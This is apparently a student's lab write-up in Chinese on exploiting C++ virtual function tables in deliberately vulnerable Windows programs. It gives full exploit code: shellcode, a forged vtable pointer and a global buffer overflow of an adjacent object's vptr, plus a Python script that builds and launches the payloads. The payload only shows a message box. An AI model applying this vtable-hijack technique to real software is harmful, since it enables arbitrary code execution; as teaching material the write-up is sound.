虚函数
虚函数内存布局与攻击原理

题目A
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| #include <windows.h> #include <iostream.h>
char shellcode1[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53" "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x5C\xE3\x42\x00";
class vf { public: char buf[200]; virtual void test(void) { cout<<"Class Vtable::test()"<<endl; } }; vf overflow, *p; void main(void) { LoadLibrary("user32.dll"); char * p_vtable; p_vtable=overflow.buf-4; p_vtable[0]=0x30; p_vtable[1]=0xE4; p_vtable[2]=0x42; p_vtable[3]=0x00; strcpy(overflow.buf,shellcode1); p=&overflow; p->test(); }
|
给出的mainc.cpp代码原本的设计是“通过手动修改内存中的虚表指针,让程序误以为 Shellcode 是虚函数表,从而去执行它”。但由于 Shellcode 中硬编码的系统函数地址在你的电脑上是错的,所以必须修正。

mainc.cpp的shellcode对应汇编代码如下:

提供的 shellcode1 数组中包含了一段汇编机器码,其功能是调用 Windows 的 MessageBoxA 函数弹出一个窗口。
需要将 Shellcode 中 MOV EAX, 0xXXXXXXXX 这一指令后的地址,替换为你本机当前运行环境下的 MessageBoxA 真实地址
(使用小端序)
攻击逻辑


获取MessageBoxA地址
加载程序,运行几步后查看“符号”,在user32.dll中找到MessageBoxA的地址:75EB4900

获取起始地址
overflow.buf 在内存中的起始地址
- 作用:我们需要把虚表指针(vptr)指向这个位置(或者这个位置附近的某个偏移),因为我们的 Shellcode 就存放在这里。源码中硬编码的
0x0042E430 在你电脑上很可能是无效内存,访问会报错。
在 strcpy(overflow.buf, shellcode1); 这一行打断点
运行到断点时,在“监视”窗口查看 &overflow 或 overflow.buf 的值(就是Destination)


修改地址(IDA动调)
1.修改 Shellcode 中的函数调用地址
- 原代码:
... \xB8\x68\x3D\xE2\x77\xFF\xD0 ...
- 修改为:
\xB8 + MessageBoxA 地址(小端序)+ \xFF\xD0
2.修改虚表指针指向的地址
main 函数中赋值 p_vtable[0] 到 p_vtable[3] 的 4 行代码,将其修改为 伪造的虚表位置(本例中被设计在 Shellcode 数组的末尾)
3.修改 Shellcode 末尾的跳板地址
char shellcode1[] 数组的最后 4 个字节,改为overflow.buf的地址

- 虚表指针 (vptr) 应该指向 虚函数表 (vtable) 的地址。
- 虚函数表 (vtable) 里面存放的才是 真正的函数地址 (Shellcode Start)。
图中的两处(vptr、vtable)原本是需要修改的,但是给出的源码正好与目标值一致,因此无需做修改。

只需要修改MessageBoxA地址部分

切换至Hex dump视图,方便修改


再运行,弹出对话框。

修改源码
上一步是通过动态调试的方式去直接修改内存,现在尝试通过修改源码再编译成exe实现。
由于我的vc++6.0是安装在xp上的,编译出的exe与原本给的exe地址上有差别,这里按xp上的再做一次。


MessageBoxA还是原来的地址

成功弹出对话框

接着修改源码,一共有三处改动
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 【修改点 1】:MessageBoxA 地址 原代码: ... \xB8\x68\x3D\xE2\x77 ... 修改为: \xB8\x00\x49\xEB\x75 (对应 0x75EB4900)
【修改点 2】:Shellcode 末尾的跳板地址 这里存放的是 Shellcode 的起始地址:0x0042E27C 修改为: \x7C\xE2\x42\x00
【修改点 3】:修改 vptr 的值 这里存放的是伪造虚表的位置:0x0042E350 p_vtable[0]=0x50; //修改为 0x50 p_vtable[1]=0xE3; //修改为 0xE3 p_vtable[2]=0x42; p_vtable[3]=0x00;
|
生成exe之后弹不出对话框,动态调试发现果然遇到了\0x00截断

把strcpy改成memcpy,再生成exe,成功弹出(记得把程序添加到DEP白名单)

最终的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| #include <windows.h> #include <iostream.h>
char shellcode1[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
"\x50\x50\x53\xB8\x00\x49\xEB\x75\xFF\xD0\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x7C\xE2\x42\x00";
class vf { public: char buf[200]; virtual void test(void) { cout<<"Class Vtable::test()"<<endl; } }; vf overflow, *p; void main(void) { LoadLibrary("user32.dll"); char * p_vtable; p_vtable=overflow.buf-4;
p_vtable[0]=0x50; p_vtable[1]=0xE3; p_vtable[2]=0x42; p_vtable[3]=0x00;
memcpy(overflow.buf, shellcode1, sizeof(shellcode1));
p=&overflow; p->test(); }
|
题目B
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| #include <windows.h> #include <iostream.h> #include <stdio.h>
class vf { public: char buf[200]; virtual void test(void) { cout << "Class Vtable::test()" << endl; } };
class vf1 { public: char buf[64]; virtual void test(void) { cout << "Class Vtable1::test()" << endl; } };
vf overflow, *p; vf1 overflow1, *p1;
void main(int argc, char* argv[]) { LoadLibrary("user32.dll");
if (argc == 3) { strcpy(overflow.buf, argv[1]);
strcpy(overflow1.buf, argv[2]);
p = &overflow; p->test(); } else { printf("vf argv1 argv2\n"); } }
|


确定关键内存地址
- Target Address:
overflow.buf 的起始地址(用来存放 Shellcode)。
- Offset:从
overflow1.buf 开始写多少字节才能刚好碰到 overflow 的 vptr。
需要从42EB14覆盖掉vptr,0x42EB58-0x42EB14=68

跳板地址(伪造虚表的地址) = Shellcode 起始地址 + 偏移量 (Padding)
0x0042EB5C + 0xC0 = 0x0042EC1C
- Shellcode 起始地址 (
Destination):0x0042EB5C
- 偏移量:要在 Shellcode 后面填充一堆
NOP 或垃圾数据,然后在某个位置存放“回指 Shellcode 的指针”。(选择0xC0作为偏移量)
构造 argv[1] 的结构: [ Shellcode (约30字节) ] + [ NOP填充 (约162字节) ] + [ 0x0042EB5C 的指针 (4字节) ] (指针正好放在第 192 字节处)
构造 argv[2] 的结构: [ 填充 (68字节) ] + [ 0x0042EC1C (跳板地址) ] (vptr 被覆盖为 0x0042EC1C,程序去这里找虚函数,发现里面存着 0x0042EB5C,于是跳转到 Shellcode)

在win11上做失败了,换了win2000

0x33D68+0x77DF0000=0x77E23D68
通过脚本直接注入命令行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| import subprocess import struct import sys
target_exe = "vf.exe"
addr_buf_start = 0x0042EB5C
addr_fake_vtable = 0x0042EC1C
addr_messagebox = 0x77E23D68
print "[*] Target OS: Windows 2000" print "[*] MessageBoxA Address: 0x%08X" % addr_messagebox
def create_shellcode(msgbox_addr): if (msgbox_addr & 0xFF) == 0: mov_eax = b"\xB8" + struct.pack('<I', msgbox_addr + 1) dec_eax = b"\x48" else: mov_eax = b"\xB8" + struct.pack('<I', msgbox_addr) dec_eax = b"" code = ( b"\x33\xDB" b"\x53" b"\x68\x62\x75\x70\x74" b"\x68\x62\x75\x70\x74" b"\x8B\xC4" b"\x53" b"\x50" b"\x50" b"\x53" + mov_eax + dec_eax + b"\xFF\xD0" ) return code
shellcode = create_shellcode(addr_messagebox)
nop_len = 192 - len(shellcode) nops = b"\x90" * nop_len
fake_vtable_ptr = struct.pack('<I', addr_buf_start)[:-1]
payload1 = shellcode + nops + fake_vtable_ptr
padding = b"A" * 68
vptr_value = struct.pack('<I', addr_fake_vtable)[:-1]
payload2 = padding + vptr_value
print "[*] Payload 1 Length: %d" % len(payload1) print "[*] Payload 2 Length: %d" % len(payload2) print "[*] Executing attack..." try: if sys.version_info[0] < 3: ret = subprocess.call([target_exe, payload1, payload2]) else: ret = subprocess.call([ target_exe, payload1.decode('latin-1'), payload2.decode('latin-1') ]) print "[*] Return code: %d" % ret except Exception as e: print "[!] Error: %s" % str(e)
|

攻击代码与vf放在同一个目录下,双击exploit.py实现攻击
